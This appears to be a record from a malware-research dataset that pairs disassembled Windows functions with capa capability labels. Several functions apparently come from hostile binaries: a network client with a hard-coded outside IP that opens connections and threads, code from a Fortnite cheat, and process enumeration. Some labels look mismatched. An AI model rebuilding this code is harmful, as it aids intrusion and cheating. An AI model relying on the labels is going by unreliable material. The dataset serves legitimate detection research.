joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007ce0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x5d0
mov rax, qword [0x14003e010]
xor rax, rsp
mov qword [rsp + 0x5c0], rax
mov r14, rdx
mov dword [rsp + 0x410], 0
mov ebx, ecx
lea rdx, [rsp + 0x420]
xor ebp, ebp
mov ecx, 0x101
xor esi, esi
xor edi, edi
lea r15d, [rbp + 5]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp ebx, 1
jle 0x140007d4b
mov rcx, qword [r14 + 8]
call fcn.140012ddc
mov rdi, rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2c0]
call fcn.140007f60
mov rax, qword [0x14003ef40]
mov rcx, qword [rsp + 0x3d0]
mov qword [rsp + 0x2e0], rax
mov eax, dword [reloc.WS2_32.dll_getsockopt]
mov dword [rsp + 0x2c8], eax
mov dword [rsp + 0x310], esi
test rcx, rcx
je 0x140007df9
cmp byte [rcx], 0x2d
jne 0x140007df9
inc rcx
mov edx, 0x2b
call fcn.14000db50
mov r14, rax
test rax, rax
je 0x140007df9
cmp byte [rax + 1], sil
je 0x140007df9
mov rbx, qword [rsp + 0x3d0]
mov byte [rax], sil
mov rcx, qword [rsp + 0x3d0]
inc rcx
call fcn.140012ddc
mov qword [rsp + 0x3e0], rax
lea rcx, [r14 + 2]
movzx eax, byte [r14 + 1]
mov byte [rsp + 0x3ea], al
call fcn.140012ddc
mov qword [rsp + 0x3d0], rax
mov rcx, rbx
mov byte [r14], 0x2b
call fcn.140014f30
mov ebx, 2
cmp word [rsp + 0x368], si
jne 0x140007e10
mov word [rsp + 0x368], bx
cmp word [rsp + 0x36a], si
jne 0x140007e2f
movzx ecx, word [0x14003ef48]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x36a], ax
lea rcx, str._cshttps:__67.205.191.160:443__ci5
mov word [rsp + 0x378], bx
call fcn.140012ddc
mov rcx, rax
lea rdx, [0x140038818]
call fcn.14001bb54
test rax, rax
je 0x140007f4d
nop dword [rax + rax]
cmp byte [rax + 1], 0x63
jne 0x140007ea1
movzx ecx, byte [rax + 2]
cmp cl, 0x69
je 0x140007e95
cmp cl, 0x6b
je 0x140007e87
cmp cl, 0x73
jne 0x140007ea1
lea rcx, [rax + 3]
call fcn.140012ddc
mov rbp, rax
jmp 0x140007ea1
lea rcx, [rax + 3]
call fcn.140012ddc
mov rsi, rax
jmp 0x140007ea1
lea rcx, [rax + 3]
call fcn.140015d5c
mov r15d, eax
lea rdx, [0x140038818]
xor ecx, ecx
call fcn.14001bb54
test rax, rax
jne 0x140007e60
test rsi, rsi
je 0x140007edb
test rdi, rdi
je 0x140007f4d
sub rsi, rdi
movzx ecx, byte [rdi]
movzx eax, byte [rdi + rsi]
sub ecx, eax
jne 0x140007ed7
inc rdi
test eax, eax
jne 0x140007ec5
test ecx, ecx
jne 0x140007f4d
test rbp, rbp
je 0x140007f4d
mov ecx, reloc.WS2_32.dll_recv
call fcn.14001b838
movzx ecx, byte [rbp]
mov rbx, rax
mov qword [rax], rbp
mov dword [rax + 8], r15d
call fcn.14001bed8
cmp eax, 0x68
lea rcx, [0x140006a80]
lea rax, [rsp + 0x410]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x140007590]
cmove r8, rcx
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov edx, 0x4000
call fcn.14001bcbc
nop word [rax + rax]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007f40
xor ecx, ecx
call fcn.14001bb48
int3
Function at 0x14001bb48
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001b9b3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b9b3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001b9b3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b9b3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b9b3
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b9b3
cmp dword [rcx + 0xf8], 0
je 0x14001b9b3
mov ecx, ebx
call fcn.14001ba64
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001b840
nop
cmp dword [rbp + 0x20], 0
je 0x14001ba01
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001ba0c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001b944

Function at 0x14001bcbc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14001bcf3
call fcn.14001dbd0
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.14001b7a0
xor eax, eax
jmp 0x14001bd81
mov rdx, r9
mov rcx, r8
call fcn.14001bc58
mov rbx, rax
test rax, rax
je 0x14001bd7e
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14001bb84]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14001bd6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001db44
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14001bd52
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14001bd61
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14001f150
jmp 0x14001bd7e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14001bd7b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140024004
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140024034
xor eax, eax
jmp 0x1400240f7
mov rbp, rbx
cmp word [rax], si
je 0x140024059
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140024040
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002403c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140023f24
movsxd r14, eax
test eax, eax
jne 0x140024097
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002402d
mov rcx, r14
call fcn.14001ff50
mov rdi, rax
test rax, rax
jne 0x1400240b0
xor ecx, ecx
call fcn.14001f150
jmp 0x14002408c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140023f24
test eax, eax
jne 0x1400240e1
mov rcx, rdi
call fcn.14001f150
jmp 0x1400240eb
xor ecx, ecx
call fcn.14001f150
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140024114
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14002419b
mov rsi, rbx
cmp word [rax], bp
je 0x14002415a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140024144
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140024140
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001ff50
mov rdi, rax
test rax, rax
je 0x140024188
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000efb0
mov rbp, rdi
xor ecx, ecx
call fcn.14001f150
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400290cc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400179d0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140029156
cmp byte [rbp - 0x21], r15b
je 0x140029151
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002918c
call fcn.14001de5c
test eax, eax
jne 0x140029178
cmp byte [rbp - 0x21], r15b
je 0x140029170
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002918c
cmp byte [rbp - 0x21], r15b
je 0x140029189
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001fce4
test eax, eax
jne 0x14002922c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400179d0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400291cb
cmp byte [rbp - 0x21], r15b
je 0x140029200
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140029200
call fcn.14001de5c
test eax, eax
jne 0x1400291ec
cmp byte [rbp - 0x21], r15b
je 0x1400291e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140029200
cmp byte [rbp - 0x21], r15b
je 0x1400291fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001fce4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002922c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002922f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002923d
mov rcx, rdi
call fcn.14001f150
cmp byte [rbp + 0x3f], r15b
je 0x14002924c
mov rcx, qword [rbp + 0x27]
call fcn.14001f150
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140015860
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x20
mov rsi, qword [0x140047c70]
xor edi, edi
mov r15, rcx
mov dword [rsi + 0x2d9c], edi
test rcx, rcx
je 0x140015999
mov qword [rsp + 0x40], rbx
lea rbx, [rsi + 0x2da0]
mov dword [rsi + 0x2d9c], edi
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x48], rbp
test ecx, ecx
jns 0x1400158ba
mov eax, ecx
cdq
sub eax, edx
mov edx, edi
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.140016a20
mov dword [rbx], edi
cmp dword [rbx + 4], edi
jne 0x1400158ce
mov edx, 8
mov rcx, rbx
call fcn.140016a20
movsxd rcx, dword [rbx]
mov ebp, edi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], dil
inc dword [rbx]
mov eax, dword [rsi + 0x2db0]
test eax, eax
jle 0x140015939
mov qword [rsp + 0x50], r14
mov r14, rdi
cmp edi, eax
jl 0x14001590d
mov r8d, 0x5b2
lea rdx, str.C:UsersLegue1337DesktopProject_Nova_Internal_Source_mainFortnite_External___Project_Nova_P2CImguiimgui.h
lea rcx, str.i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r9, qword [rsi + 0x2db8]
mov r8, rbx
add r9, r14
mov rcx, rsi
mov rdx, r9
call qword [r9 + 0x20]
mov eax, dword [rsi + 0x2db0]
inc ebp
add r14, 0x30
cmp ebp, eax
jl 0x14001590d
mov r14, qword [rsp + 0x50]
cmp qword [rbx + 8], rdi
je 0x140015943
mov edi, dword [rbx]
dec edi
mov rax, qword [rsi + 0x2da8]
lea rdx, [0x14003aca0]
test rax, rax
movsxd rbp, edi
lea rdi, [0x140047c68]
mov rcx, r15
cmovne rdi, rax
call fcn.140003870
mov rbx, rax
test rax, rax
je 0x14001598f
mov r9, rax
mov r8, rbp
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x14001dfb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push r13
push r14
sub rsp, 0xb8
mov r13, rcx
movsxd rax, r9d
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov dword [rsp + 0xe8], ecx
mov r14, rdx
test r9d, r9d
jle 0x14001e212
mov qword [r11 + 8], rbx
lea rbx, [r8 + 0x20]
mov qword [r11 + 0x10], rbp
movzx ebp, byte [r13 + 0x24]
mov qword [r11 + 0x18], rsi
mov qword [r11 - 0x18], rdi
mov edi, 0x100
mov qword [r11 - 0x20], r12
xor r12d, r12d
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
xorps xmm7, xmm7
movaps xmmword [r11 - 0x58], xmm8
movzx r11d, byte [r13 + 0x20]
movss xmm8, dword [0x140040ee0]
nop word [rax + rax]
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001e07a
movsxd r10, dword [r14 + 0x24]
mov r9, qword [r14 + 8]
movsx ecx, di
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, di
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
movd xmm0, eax
jmp 0x14001e099
movsxd rdx, dword [r14 + 0x1c]
xorps xmm6, xmm8
mov rax, qword [r14 + 8]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
xor edi, edi
mov byte [rbx], r11b
mov byte [rbx + 1], bpl
divss xmm6, xmm0
cmp dword [rbx - 0x10], edi
jle 0x14001e1b0
mov r15, qword [rsp + 0xf0]
mov rax, r12
shl rax, 4
add r15, 6
xor esi, esi
add r15, rax
nop word [rax + rax]
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001e0e0
mov edx, dword [rbx - 0x1c]
add edx, edi
jmp 0x14001e0e3
mov edx, dword [rax + rsi]
mov rcx, r14
call fcn.140018cb0
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [r13 + 0x24]
xorps xmm2, xmm2
mov rcx, r14
cvtsi2ss xmm3, rax
mov eax, dword [r13 + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.14001b8e0
movzx ecx, word [r13 + 0x1c]
inc r12
movzx r11d, word [r13 + 0x20]
movzx eax, cx
sub ax, word [rsp + 0x50]
dec cx
movzx ebp, word [r13 + 0x24]
dec ax
add ax, r11w
inc edi
add ax, word [rsp + 0x54]
add rsi, 4
mov word [r15 - 2], ax
movzx eax, bp
sub ax, word [rsp + 0x58]
add ax, cx
mov ecx, dword [rsp + 0xe8]
add ax, word [rsp + 0x5c]
inc ecx
mov word [r15], ax
add r15, 0x10
mov dword [rsp + 0xe8], ecx
cmp edi, dword [rbx - 0x10]
jl 0x14001e0d0
jmp 0x14001e1b7
mov ecx, dword [rsp + 0xe8]
add rbx, 0x28
mov edi, 0x100
sub qword [rsp + 0x60], 1
jne 0x14001e030
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
mov eax, ecx
add rsp, 0xb8
pop r14
pop r13
ret
Function at 0x1400327e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rbp - 8], rax
mov edi, dword [0x14004822c]
movsxd rax, dword [0x140047d60]
xor r9d, r9d
cmp eax, 0x7b
ja 0x140032820
lea r9, [0x1400471b0]
mov r9, qword [r9 + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
test r9, r9
jne 0x140032866
mov qword [rbp - 0x18], 0xa
movsd xmm0, qword [str.Select_Key]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x140040b88]
mov word [rbp - 0x20], ax
mov byte [rbp - 0x1e], r9b
jmp 0x1400328a2
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [r9 + rbx], 0
jne 0x140032870
lea rcx, [rbp - 0x28]
cmp rbx, 0xf
ja 0x14003289a
mov qword [rbp - 0x18], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx - 0x28], 0
jmp 0x1400328a2
mov rdx, rbx
call fcn.140035ca0
cmp edi, 1
jne 0x1400328f4
mov rax, qword [rbp - 0x10]
cmp rax, 0xd
jb 0x1400328df
lea rbx, [rbp - 0x28]
cmp rax, 0x10
cmovae rbx, qword [rbp - 0x28]
mov qword [rbp - 0x18], 0xd
lea r8d, [rdi + 0xc]
lea rdx, str.Press_the_key
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xd], 0
jmp 0x1400328f4
lea r9, str.Press_the_key
mov edx, 0xd
lea rcx, [rbp - 0x28]
call fcn.140035ca0
mov dword [rbp - 0x30], 0x42fa0000
mov dword [rbp - 0x2c], 0x41a00000
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x30]
call fcn.140029470
test al, al
je 0x140032943
test edi, edi
jne 0x140032943
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140032790]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140032981
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003297c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003297c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400365c4
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400361a0
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140028240
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14003c010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x14002835c
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14002835c
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov qword [rsp + 0x58], r8
mov ecx, dword [rax + rdx + 0xb0]
test ecx, ecx
jne 0x1400282b9
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x140028367
lea rbx, [rdx + rcx]
mov ebp, dword [rax + rdx + 0xb4]
add rbp, rbx
mov eax, dword [rbx]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x14002834a
mov edx, eax
cmp rdx, rbp
jae 0x14002834a
mov r9d, dword [rbx + 4]
test r9d, r9d
je 0x14002834a
lea rax, [rdx + rsi]
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [r9 - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, r8
je 0x140028322
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x50], rcx
jmp 0x14002833e
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.140028bf0
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
test eax, eax
jne 0x1400282d2
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x140028367
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002c3f0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14002abe0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x14003c010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edx, edx
lea r9, [rsp + 0x20]
mov rsi, rcx
xor r14d, r14d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov edi, r14d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14002ac69
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14002ac20
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rbp
test eax, eax
js 0x14002ad47
mov ebx, r14d
cmp dword [rdi], ebx
jbe 0x14002ad47
nop dword [rax]
mov eax, ebx
xorps xmm0, xmm0
imul rcx, rax, 0x128
movups xmmword [rsp + 0x28], xmm0
movzx edx, word [rcx + rdi + 0x2e]
lea rbp, [rcx + rdi]
add rdx, 0x30
mov qword [rsp + 0x38], r14
add rdx, rcx
mov qword [rsp + 0x40], r14
add rdx, rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x14002acc5
lea rcx, [rsp + 0x28]
call fcn.140026880
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x14002ace5
mov rdx, qword [rsi]
cmp qword [rsp + 0x40], 0x10
lea rcx, [rsp + 0x28]
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14002ad7d
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14002ad3d
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ad38
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002adc6
call fcn.14002c69c
inc ebx
cmp ebx, dword [rdi]
jb 0x14002ac90
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14002c3f0
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
mov rbx, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14002add2
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002adcd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002adcd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c69c
mov rax, rbx
jmp 0x14002ad5a